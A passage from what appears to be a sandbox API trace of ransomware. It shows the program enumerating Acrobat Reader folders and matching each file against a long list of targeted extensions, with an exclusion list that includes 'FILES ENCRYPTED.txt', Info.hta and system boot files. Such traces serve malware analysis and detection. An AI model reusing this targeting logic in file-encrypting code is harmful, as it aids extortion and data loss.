ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.542] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.542] lstrlenW (lpString="ui-strings.js") returned 13 [0264.542] lstrlenW (lpString=".1cd") returned 4 [0264.542] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0264.542] lstrlenW (lpString=".3ds") returned 4 [0264.542] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0264.542] lstrlenW (lpString=".3fr") returned 4 [0264.542] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0264.542] lstrlenW (lpString=".3g2") returned 4 [0264.542] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0264.542] lstrlenW (lpString=".3gp") returned 4 [0264.542] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0264.542] lstrlenW (lpString=".7z") returned 3 [0264.543] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0264.543] lstrlenW (lpString=".accda") returned 6 [0264.543] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0264.543] lstrlenW (lpString=".accdb") returned 6 [0264.543] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0264.543] lstrlenW (lpString=".accdc") returned 6 [0264.543] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0264.543] lstrlenW (lpString=".accde") returned 6 [0264.543] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0264.543] lstrlenW (lpString=".accdt") returned 6 [0264.543] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0264.543] lstrlenW (lpString=".accdw") returned 6 [0264.543] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0264.543] lstrlenW (lpString=".adb") returned 4 [0264.543] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0264.543] lstrlenW (lpString=".adp") returned 4 [0264.543] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0264.543] lstrlenW (lpString=".ai") returned 3 [0264.543] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0264.543] lstrlenW (lpString=".ai3") returned 4 [0264.544] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0264.544] lstrlenW (lpString=".ai4") returned 4 [0264.544] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0264.544] lstrlenW (lpString=".ai5") returned 4 [0264.544] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0264.544] lstrlenW (lpString=".ai6") returned 4 [0264.544] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0264.544] lstrlenW (lpString=".ai7") returned 4 [0264.544] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0264.544] lstrlenW (lpString=".ai8") returned 4 [0264.544] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0264.544] lstrlenW (lpString=".anim") returned 5 [0264.544] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0264.544] lstrlenW (lpString=".arw") returned 4 [0264.544] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0264.544] lstrlenW (lpString=".as") returned 3 [0264.544] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0264.544] lstrlenW (lpString=".asa") returned 4 [0264.544] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0264.544] lstrlenW (lpString=".asc") returned 4 [0264.544] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0264.544] lstrlenW (lpString=".ascx") returned 5 [0264.545] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0264.545] lstrlenW (lpString=".asm") returned 4 [0264.545] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0264.545] lstrlenW (lpString=".asmx") returned 5 [0264.545] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0264.545] lstrlenW (lpString=".asp") returned 4 [0264.545] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0264.545] lstrlenW (lpString=".aspx") returned 5 [0264.545] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0264.545] lstrlenW (lpString=".asr") returned 4 [0264.545] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0264.545] lstrlenW (lpString=".asx") returned 4 [0264.545] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0264.546] lstrlenW (lpString=".avi") returned 4 [0264.546] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0264.546] lstrlenW (lpString=".avs") returned 4 [0264.546] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0264.546] lstrlenW (lpString=".backup") returned 7 [0264.546] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0264.546] lstrlenW (lpString=".bak") returned 4 [0264.546] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0264.546] lstrlenW (lpString=".bay") returned 4 [0264.546] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0264.546] lstrlenW (lpString=".bd") returned 3 [0264.546] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0264.546] lstrlenW (lpString=".bin") returned 4 [0264.546] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0264.546] lstrlenW (lpString=".bmp") returned 4 [0264.546] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0264.546] lstrlenW (lpString=".bz2") returned 4 [0264.546] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0264.546] lstrlenW (lpString=".c") returned 2 [0264.546] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0264.547] lstrlenW (lpString=".cdr") returned 4 [0264.547] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0264.547] lstrlenW (lpString=".cer") returned 4 [0264.547] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0264.547] lstrlenW (lpString=".cf") returned 3 [0264.547] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0264.547] lstrlenW (lpString=".cfc") returned 4 [0264.547] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0264.547] lstrlenW (lpString=".cfm") returned 4 [0264.547] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0264.547] lstrlenW (lpString=".cfml") returned 5 [0264.547] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0264.547] lstrlenW (lpString=".cfu") returned 4 [0264.547] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0264.547] lstrlenW (lpString=".chm") returned 4 [0264.548] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0264.548] lstrlenW (lpString=".cin") returned 4 [0264.548] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0264.548] lstrlenW (lpString=".class") returned 6 [0264.548] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0264.548] lstrlenW (lpString=".clx") returned 4 [0264.548] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0264.548] lstrlenW (lpString=".config") returned 7 [0264.548] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0264.548] lstrlenW (lpString=".cpp") returned 4 [0264.548] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0264.548] lstrlenW (lpString=".cr2") returned 4 [0264.548] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0264.548] lstrlenW (lpString=".crt") returned 4 [0264.548] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0264.548] lstrlenW (lpString=".crw") returned 4 [0264.548] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0264.548] lstrlenW (lpString=".cs") returned 3 [0264.548] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0264.548] lstrlenW (lpString=".css") returned 4 [0264.549] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0264.549] lstrlenW (lpString=".csv") returned 4 [0264.549] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0264.549] lstrlenW (lpString=".cub") returned 4 [0264.549] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0264.549] lstrlenW (lpString=".dae") returned 4 [0264.549] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0264.549] lstrlenW (lpString=".dat") returned 4 [0264.549] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0264.549] lstrlenW (lpString=".db") returned 3 [0264.549] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0264.549] lstrlenW (lpString=".dbf") returned 4 [0264.549] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0264.549] lstrlenW (lpString=".dbx") returned 4 [0264.549] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0264.549] lstrlenW (lpString=".dc3") returned 4 [0264.549] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0264.549] lstrlenW (lpString=".dcm") returned 4 [0264.549] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0264.549] lstrlenW (lpString=".dcr") returned 4 [0264.549] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0264.549] lstrlenW (lpString=".der") returned 4 [0264.550] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0264.550] lstrlenW (lpString=".dib") returned 4 [0264.550] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0264.550] lstrlenW (lpString=".dic") returned 4 [0264.550] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0264.550] lstrlenW (lpString=".dif") returned 4 [0264.550] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0264.550] lstrlenW (lpString=".divx") returned 5 [0264.550] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0264.550] lstrlenW (lpString=".djvu") returned 5 [0264.550] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0264.550] lstrlenW (lpString=".dng") returned 4 [0264.550] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0264.550] lstrlenW (lpString=".doc") returned 4 [0264.550] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0264.550] lstrlenW (lpString=".docm") returned 5 [0264.550] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0264.550] lstrlenW (lpString=".docx") returned 5 [0264.550] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0264.550] lstrlenW (lpString=".dot") returned 4 [0264.551] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0264.551] lstrlenW (lpString=".dotm") returned 5 [0264.551] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0264.551] lstrlenW (lpString=".dotx") returned 5 [0264.551] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0264.551] lstrlenW (lpString=".dpx") returned 4 [0264.551] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0264.551] lstrlenW (lpString=".dqy") returned 4 [0264.551] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0264.551] lstrlenW (lpString=".dsn") returned 4 [0264.551] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0264.551] lstrlenW (lpString=".dt") returned 3 [0264.551] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0264.551] lstrlenW (lpString=".dtd") returned 4 [0264.551] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0264.551] lstrlenW (lpString=".dwg") returned 4 [0264.551] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0264.551] lstrlenW (lpString=".dwt") returned 4 [0264.551] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0264.551] lstrlenW (lpString=".dx") returned 3 [0264.551] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0264.552] lstrlenW (lpString=".dxf") returned 4 [0264.552] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0264.552] lstrlenW (lpString=".edml") returned 5 [0264.552] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0264.552] lstrlenW (lpString=".efd") returned 4 [0264.552] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0264.552] lstrlenW (lpString=".elf") returned 4 [0264.552] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0264.552] lstrlenW (lpString=".emf") returned 4 [0264.552] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0264.552] lstrlenW (lpString=".emz") returned 4 [0264.552] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0264.552] lstrlenW (lpString=".epf") returned 4 [0264.552] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0264.552] lstrlenW (lpString=".eps") returned 4 [0264.552] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0264.552] lstrlenW (lpString=".epsf") returned 5 [0264.552] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0264.552] lstrlenW (lpString=".epsp") returned 5 [0264.553] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0264.553] lstrlenW (lpString=".erf") returned 4 [0264.553] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0264.553] lstrlenW (lpString=".exr") returned 4 [0264.553] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0264.553] lstrlenW (lpString=".f4v") returned 4 [0264.553] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0264.553] lstrlenW (lpString=".fido") returned 5 [0264.553] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0264.553] lstrlenW (lpString=".flm") returned 4 [0264.553] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0264.553] lstrlenW (lpString=".flv") returned 4 [0264.553] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0264.553] lstrlenW (lpString=".frm") returned 4 [0264.553] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0264.553] lstrlenW (lpString=".fxg") returned 4 [0264.553] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0264.553] lstrlenW (lpString=".geo") returned 4 [0264.553] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0264.554] lstrlenW (lpString=".gif") returned 4 [0264.554] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0264.554] lstrlenW (lpString=".grs") returned 4 [0264.554] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0264.554] lstrlenW (lpString=".gz") returned 3 [0264.554] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0264.554] lstrlenW (lpString=".h") returned 2 [0264.554] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0264.554] lstrlenW (lpString=".hdr") returned 4 [0264.554] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0264.554] lstrlenW (lpString=".hpp") returned 4 [0264.554] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0264.554] lstrlenW (lpString=".hta") returned 4 [0264.554] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0264.554] lstrlenW (lpString=".htc") returned 4 [0264.554] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0264.554] lstrlenW (lpString=".htm") returned 4 [0264.555] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0264.555] lstrlenW (lpString=".html") returned 5 [0264.555] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0264.555] lstrlenW (lpString=".icb") returned 4 [0264.555] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0264.555] lstrlenW (lpString=".ics") returned 4 [0264.555] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0264.555] lstrlenW (lpString=".iff") returned 4 [0264.555] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0264.555] lstrlenW (lpString=".inc") returned 4 [0264.555] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0264.555] lstrlenW (lpString=".indd") returned 5 [0264.555] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0264.555] lstrlenW (lpString=".ini") returned 4 [0264.555] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0264.555] lstrlenW (lpString=".iqy") returned 4 [0264.556] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0264.556] lstrlenW (lpString=".j2c") returned 4 [0264.556] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0264.556] lstrlenW (lpString=".j2k") returned 4 [0264.556] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0264.556] lstrlenW (lpString=".java") returned 5 [0264.556] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0264.556] lstrlenW (lpString=".jp2") returned 4 [0264.556] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0264.556] lstrlenW (lpString=".jpc") returned 4 [0264.556] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0264.556] lstrlenW (lpString=".jpe") returned 4 [0264.556] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0264.556] lstrlenW (lpString=".jpeg") returned 5 [0264.556] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0264.556] lstrlenW (lpString=".jpf") returned 4 [0264.556] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0264.556] lstrlenW (lpString=".jpg") returned 4 [0264.556] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0264.556] lstrlenW (lpString=".jpx") returned 4 [0264.556] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0264.556] lstrlenW (lpString=".js") returned 3 [0264.556] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0264.557] lstrlenW (lpString="ui-strings.js") returned 13 [0264.557] lstrlenW (lpString=".love$") returned 6 [0264.557] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0264.557] lstrlenW (lpString="ui-strings.js") returned 13 [0264.557] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0264.557] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0264.557] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0264.557] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0264.557] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0264.557] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0264.557] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0264.557] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0264.557] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js") returned 119 [0264.557] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.557] FindClose (in: hFindFile=0x3315cf0 | out: hFindFile=0x3315cf0) returned 1 [0264.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0264.558] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0264.558] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr") returned 105 [0264.558] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr") returned 1 [0264.558] lstrlenW (lpString="tr-tr") returned 5 [0264.558] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="tr-tr") returned -1 [0264.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0264.558] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr") returned 105 [0264.558] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0264.559] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.559] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d03, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.559] lstrlenW (lpString="ui-strings.js") returned 13 [0264.559] lstrlenW (lpString=".1cd") returned 4 [0264.559] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0264.559] lstrlenW (lpString=".3ds") returned 4 [0264.559] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0264.559] lstrlenW (lpString=".3fr") returned 4 [0264.559] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0264.559] lstrlenW (lpString=".3g2") returned 4 [0264.559] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0264.559] lstrlenW (lpString=".3gp") returned 4 [0264.559] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0264.559] lstrlenW (lpString=".7z") returned 3 [0264.559] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0264.559] lstrlenW (lpString=".accda") returned 6 [0264.559] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0264.559] lstrlenW (lpString=".accdb") returned 6 [0264.560] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0264.560] lstrlenW (lpString=".accdc") returned 6 [0264.560] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0264.560] lstrlenW (lpString=".accde") returned 6 [0264.560] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0264.560] lstrlenW (lpString=".accdt") returned 6 [0264.560] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0264.560] lstrlenW (lpString=".accdw") returned 6 [0264.560] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0264.560] lstrlenW (lpString=".adb") returned 4 [0264.560] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0264.560] lstrlenW (lpString=".adp") returned 4 [0264.560] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0264.560] lstrlenW (lpString=".ai") returned 3 [0264.560] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0264.560] lstrlenW (lpString=".ai3") returned 4 [0264.560] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0264.560] lstrlenW (lpString=".ai4") returned 4 [0264.560] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0264.560] lstrlenW (lpString=".ai5") returned 4 [0264.560] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0264.561] lstrlenW (lpString=".ai6") returned 4 [0264.561] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0264.561] lstrlenW (lpString=".ai7") returned 4 [0264.561] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0264.561] lstrlenW (lpString=".ai8") returned 4 [0264.561] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0264.561] lstrlenW (lpString=".anim") returned 5 [0264.561] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0264.561] lstrlenW (lpString=".arw") returned 4 [0264.561] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0264.561] lstrlenW (lpString=".as") returned 3 [0264.561] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0264.561] lstrlenW (lpString=".asa") returned 4 [0264.561] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0264.561] lstrlenW (lpString=".asc") returned 4 [0264.561] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0264.561] lstrlenW (lpString=".ascx") returned 5 [0264.561] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0264.561] lstrlenW (lpString=".asm") returned 4 [0264.561] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0264.561] lstrlenW (lpString=".asmx") returned 5 [0264.561] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0264.562] lstrlenW (lpString=".asp") returned 4 [0264.562] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0264.562] lstrlenW (lpString=".aspx") returned 5 [0264.562] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0264.562] lstrlenW (lpString=".asr") returned 4 [0264.562] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0264.562] lstrlenW (lpString=".asx") returned 4 [0264.562] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0264.562] lstrlenW (lpString=".avi") returned 4 [0264.562] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0264.562] lstrlenW (lpString=".avs") returned 4 [0264.562] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0264.562] lstrlenW (lpString=".backup") returned 7 [0264.562] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0264.562] lstrlenW (lpString=".bak") returned 4 [0264.562] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0264.562] lstrlenW (lpString=".bay") returned 4 [0264.562] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0264.562] lstrlenW (lpString=".bd") returned 3 [0264.562] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0264.562] lstrlenW (lpString=".bin") returned 4 [0264.562] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned 